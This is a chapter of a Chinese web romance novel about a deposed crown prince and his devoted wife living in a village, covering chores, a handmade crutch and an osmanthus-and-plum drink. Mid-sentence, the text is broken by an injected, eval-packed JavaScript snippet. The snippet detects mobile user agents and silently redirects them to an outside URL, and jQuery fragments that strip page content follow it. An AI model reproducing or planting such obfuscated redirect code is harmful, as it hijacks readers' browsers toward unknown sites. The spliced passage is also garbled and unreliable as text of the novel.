16. 第 16 章

作品:《太子今天变前夫了吗

    等到沈极昭醒来时已经日上三竿了,身边早已没有温热的身影,昨夜他被迫“抱”着似水一般的娇软妻子,这榻对他来说尚且小了,又多一个人,可想而知是怎样的场景。


    不知是她故意攀上来还是他主动贴近她,这一夜,两人真的就像平常夫妻一般相拥而眠。


    所以,他被迫忍受了大半夜的白皙嫩弹的亲吻。


    他的胳膊压着几斤重的嫩弹,还撅起了嘴不停蹭碰他,他一躲,她们就变本加厉,极其有存在感地展示嫩弹的弹力,不许他忽视。


    他翻身也没用,那样受罪的就是他的整个后背。


    他也不知道他什么时候睡着的,现下的他被子一掀,赤条条的,所以很明显能看见身下的硬直,迅速又盖了回去。


    她竟然敢扒他的衣服,都怪他这些日子太过放纵她,她现在已经不知天高地厚,动到他的头上来了!


    沈极昭面色骇人,唇抿成了直线。


    此时,一股蜜香飘入他鼻中,他转眼一看,桌上多了个竹篮,篮里插了几枝折过的桂花,黄的橙的,一片灿烂,香味香甜,沁人心脾。


    数量不多,只有几枝,不会引起他的反感,整间房里都飘溢着夏日特殊的气息。


    他平静了不少,这才发现榻边还立了个凳子,上头放着洗漱的木盆和膳食。


    这是担心他行动不便,姜水芙特意为他准备的。


    沈极昭接受了她的好意,只是他的礼教规矩告诉他,吃饭只能在饭桌上。


    他慢悠悠地起身端起膳食往桌上去。


    她做的是极好的,三菜一汤,虽然比不上宫里,但也够吃。


    今日还是鸡汤,这几步路的距离他一直在思量吃不吃,最终还是理智胜利了,他还可以坚持。


    这鸡汤,他吃不下。


    他的步子缓慢踉跄,即将到达桌边时,他腿一疼,“哐嚓”几声,盘子都全碎了。


    全没了,所有的菜都没了。


    他第一次感到挫败,没有她,他连饭都吃不成吗?


    就这样,沈极昭只能饿着肚子等待她回来。


    他刚开始还能看会儿书,许久之后,他的耐心全部耗尽,他有些质疑,她不会是去村里玩耍了吧,不然办什么事要这么久?


    她的性子,一向是着调不了多久的。


    此时,院外传来了交谈声。


    “小娘子,对男人不要太好,否则他们就会把所有脏活累活都丢给你,还认为理所当然,俺们村里别的不多,男人一抓一大把。”


    张大娘的话点到为止,姜水芙也只笑不语。


    沈极昭没听见张大娘的话,看向满载而归的姜水芙。


    她的笑容很显眼,他们沦落到这个地步,他每天都想着快些回去,她为何还那么开心。


    姜水芙跑向他:


    “夫君,你看我给你带了什么?”


    姜水芙把手藏在身后,一副神秘的模样让他猜,她的身躯弱小,藏不住背后大块的木头,这木头,送他作甚?


    “当当当,夫君的腿脚不便,有了这木头就可以做拐杖了。”


    沈极昭瞬间怔住了,原来她出去那么久是去找木头给他做拐杖,不是去玩了。


    姜水芙扶着他进屋,他却拒绝了,要在院子里坐着。


    “夫君,我还摘了好多菌子,各种各样的都有,我们可以自己吃也可以拿去卖。”


    “这山可远了,我和张大娘爬了一个多时辰才找到新鲜的菌子,我是第一次采,张大娘帮了我好多,村民也送了我好多菌子蘑菇。”


    沈极昭一边认真地砍着木头,制作着拐杖,一边被迫听着正在淘洗菌子泥巴,拿着箩筐滤水的姜水芙说着闲话。


    他左耳进右耳出,她实在有些吵,他目光瞟向她。


    他这才发现她换了件粗布衣裙,不合身极了,一看就知道是老婆子的衣服,即便如此,她的美貌还是不减半分。


    头巾包着青丝,余下的拧成一股小辫垂落在她的胸前,因为有些累,额上出了汗,青丝贴着脸颊,眉眼也添了几分风情。


    真是一个十足的漂亮农家妇,跟东宫时不一样极了。


    准确来说,比在东宫时更鲜活了,这样的认知让他不喜,难道是东宫还比不上这犄角旮旯?


    姜水芙去到井边打水,还没开始就被叫停了,不知何时,沈极昭瘸瘸拐拐地来到她身边:


    “我来吧。”


    做这种事虽然荒唐,但她从小养在深闺,十指不沾阳春水,哪有什么力气啊。


    “夫君,菌子淘了之后要把他们晒一下哦。”


    提着满满一大桶水的男人肉眼可见地面色凝固了,她倒是会指使他。


    罢了,她是太子妃都做得,他有何不行?


    就这样,一人之下万人之上的太子连续打了好几桶水。


    “夫君,你看,拐杖喜欢吗?”


    沈极昭刚坐下歇口气姜水芙就拿着雕刻好的拐杖给他看。


    他接过端详了片刻,最后只冒出了三个字:“嗯,能用。”


    她瘪瘪嘴,想从他嘴里听到一句夸赞真难,转身去烧火做饭了。


    沈极昭说谎了,其实不止是能用,拐杖上面还细细密密地刻了些蛇纹和其他尊贵的图案,只不过木头黑黢黢的,不仔细看根本就看不出来。


    她有心了。


    “夫君,厨房没有柴火了,你可以劈一些吗?”


    他沉默几息就捞起斧头砍了。


    她笑嘻嘻地跟他说:“晚上给你炒菌子吃。”


    张大娘看着认真干活儿的沈极昭点点头:


    “这才对嘛,男人啊,就是要驯化,不听话的男人要他干吗?更别提他还是个瘸子,伤哪儿不好,偏偏是那里!”


    炒菜的姜水芙听到这儿感到不对劲儿了,她转头疑惑地看向张大娘。


    张大娘嘴巴一张就是造谣:


    “大娘也是女人,知道你的日子不好过,女人也是有需求的,你不用委曲求全。”


    她终于知道她在说什么了,焦急又小声地解释:“大娘你误会了!”


    大娘知道小娘子爱面子,于是凑到她的耳边语重心长地说:


    “跟大娘还见外,你今日早早就起来了,披着你男人的衣服来找我要衣裳,你男人却还在呼呼大睡,不是累到了是什么?连女人的体力都不如!”


    姜水芙无言以对,大娘的逻辑真挑不出毛病,要不是她是当事人,体会过他,她就信了。


    此时,在外劈柴的沈极昭发出极大的声响,“嘣嘣!啪啪!”


    木头被他劈得飞起,速度也快得成倍,他竟然拿出了他的宝剑,还用他爱护至极的宝剑劈柴!


    不到半炷香,柴全部劈好了!


    还条条粗细均匀,劈得挑不出一点毛病。


    姜水芙来不及收回眼神,他的眼神猝不及防与她对上了,他的眼神里有隐隐的怒还有最不能质疑的,男人的尊严,她装作什么事也没发生转头继续炒菜。


    只是她微微红润的脸色出卖了她。


    他行不行,她当然知道。


    *


    “夫君,你快吃吧,多多吃点,这菌子我是第一次做,味道如何?”


    沈极昭嗯了声,开吃,仔细看就会发现他的每一口都比平时大,而且一口接一口,他明显是饿了。


    姜水芙早就发现了,只是他夫君要面子,重规矩,她可不能揭穿他。


    晚上的鸡汤依旧没有缺席,沈极昭看着鸡汤里多了好多菌子。


    这菌子好吃,鸡汤也不会难吃到哪里吧。


    破天荒的,他尝了一口。


    接着就停不下来了,好吃也好喝,他几天没肉吃,突然吃到了有些收不住,夏日粘腻的风吹了进屋,吹落他额上的汗。


    姜水芙也吃得满头大汗,她眼骨碌一转,俏皮地卖关子:


    “夫君,我们这样好特别啊,从来没想到有一天我们会吃饭吃得汗水直流,明日就不会啦。”


    沈极昭停住了筷子,没错,宫中用膳讲究静雅,他现在却吃得如此粗俗,狼狈不堪。


    他又突然想到他曾经说的话,不许她为他做饭。


    这下他的筷子是真的停了,他向来说一不二,如今竟先主动破了他的戒。


    他的心情复杂,他要快点回去,思及此,他让她上街时给他买一个砚台和笔墨。


    *


    次日醒来时,沈极昭无比后悔昨夜没有推开她,因为老婆子的那几句话昨夜他较劲儿似的任由她胡作非为。


    他一睁眼,他的手搭在了她的腰上,她躺在他怀中。


    这都还好,这几天他习惯了。


    只是他们面对面,身体不可避免地接触了,而身下那个不争气的,居然对着她起来了!还顶着她不肯低头!


    幸好她还没醒,要不然他脸可就丢大了。


    姜水芙出去之后他就坐在外头,院中的桂花时不时就吹落,顺便吹来了个不速之客。


    张大娘一把抛给了他一只飞禽,他下意识地起身后退,只是他忘了他的腿还没好,他狼狈地向后仰,最后关头稳住身子。


    张大娘看着这一幕咂舌道:


    “这是小娘子向我买的鸡崽,我专门挑了个大的,要不了多久就能宰了吃,她出门,你找些虫子喂一下吧。”


    沈极昭这回是真的被惊到了,挑水砍柴还不够,还要他喂鸡!喂一个牲畜!


    绝对不可能!


    虽然鸡的肉吃起来不错,但是他也不可能去喂它!


    算下时间


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809672|157338||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,她要回来了,沈极昭自觉又无奈地去干活了,今天的水还没挑,柴也还没劈。


    对了,她还说,要把水晒着,这样不用烧就能洗热水澡了。


    他一一干完了活,突然质疑自己,他为何要听她的话?


    一道欢快的声音传来:“夫君,快来,我给你带了好多果子,今日我们做青李膏饮,冰冰凉凉,可好喝了。”


    原来她卖的关子是这个。


    沈极昭拄着拐杖去看她带回的果子,看得出都是山间刚采摘的青李,又大又圆,上面还有一层层白色的果粉。


    姜水芙擦了一个果子递到他的嘴边:“好好吃,我刚才吃的很饱了,夫君也尝一个。”


    沈极昭怎么可能吃没洗过的果子,他一直看着她吃,她腮帮子吃的鼓鼓的,看样子真的很好吃。


    但他还是没有接下她手中的果子。


    姜水芙把果子放在院子里,转身去做饭了,院中站立的沈极昭看着这果子,不知什么心理促使他拿起尝了一口。


    等他意识到自己在做什么时,他就冷了脸,然后冷着脸去洗了等会儿要用的果子。


    出乎他的意料,今日的米饭变成了粥,三菜变成了野菜,鸡汤也没了。


    气氛有些尴尬,姜水芙主动打破:


    “夫君,我们没钱了,所以砚台也没有买······”


    沈极昭点点头,就着野菜喝了碗粥,他的眸光暗沉,思索着什么。


    吃完饭后她把他拉到院中,“夫君,把切碎的青李倒入石磨中,磨它个一炷香,我去摘桂花。”


    姜水芙说完就转身去到院中石桌凳旁。


    沈极昭只能重新踏上了干活的道路。


    她选择的这株桂花树是开橙花的,然而低枝的桂花已经飘落得差不多了,她只能踮脚去采高处的桂花。


    但是她无论她已经掂了多高还是触碰不到,次次都从她的手边溜走,故意跟她捉迷藏一样。


    她一咬牙,原地起跳,“桂花,不要跑。”


    她如愿抓到了枝桠,满手的桂花瓣,她很开心,可是有句话叫乐极生悲,她降落时脚后跟不注意崴了下,就要摔倒。


    沈极昭百无聊赖地抱胸看着她在跟桂花作战,本以为她要嬴了,谁料还是输了。


    他只好上前接住她,大手环抱着她的细腰。


    此时,被抓的枝桠随着他们的动作弯了腰,飘洒降下了满树的桂花,瞬间,他们二人被笼罩在这一片橙黄蜜香之中。


    衣裳,发髻之上都落了轻轻柔柔的花瓣。


    花瓣好似还不满意,不断地从他们极近的距离之中成功挤进狭小的缝隙,碰过他的高挺鼻子降落到她的唇上,沾着不走了。


    他们视线相对,此刻眼中只有彼此,天地彷佛凝固。


    他第一次认认真真看她,他确定无论何时,他都能从她的眼神里读到热烈滚烫这四个字。


    他头次生出了一丝无措的感觉,他的眼神更加幽深,她想要的,帝王的候选人给不了她。


    姜水芙伸出另一只手,接住这满天飞花。


    沈极昭没有再看下去,放了手:


    “你怎么这般蠢,旁边不是有株低枝桂花树吗?”


    姜水芙摇摇头:


    “我喜欢橙色的桂花,所以就要它。”


    沈极昭脸色莫名有些热,他怎么听着,像是在说她喜欢他,所以······


    此时,桂花还在持续出场中,神来之笔地落在了娇媚人儿的卷曲长睫之上。


    美人两边睫毛之上都镶嵌着金橙的花瓣,随着眼睛的眨动忽闪忽闪扑落。


    或许是美人的睫毛太温暖,花瓣就是不肯离开,非要为她添上几分魅惑力。


    沈极昭鬼使神差地伸出了手一瓣一瓣捻落,“桂花配不上你。”


    他没想到夏日的桂花这么烫手,烫得他的指尖发红。


    有了甜蜜蜜的桂花,有了碾碎成汁的青李,再混合入她用井水冰过的特制膏水,大功告成。


    这一夜,桂花飘零之下,闲庭石椅之处,一对佳人,对月畅饮,谈天谈地。


    准确来说,是女子一人在谈,男子只饮着冰饮,不过还是有意无意地侧耳。


    他突然质问她:“你在膏饮中加了什么?”


    迷糊糊的姜水芙啊了一声,她没听清他的问题,缠着他问他。


    他耐着性子又问了她一遍,谁知,女子只是捧着腮帮子傻傻地看着他,对着他笑。


    沈极昭叹息一声。


    是酒,他说他怎么有些红温,原来是醉了。


    半夜,醉了的男人爬起床去了院中,拿起锄头在土里挖了几下,接着一锄头打了一下饿了一天的鸡。


    他的青筋跳了跳,土里有虫子,它爱吃不吃。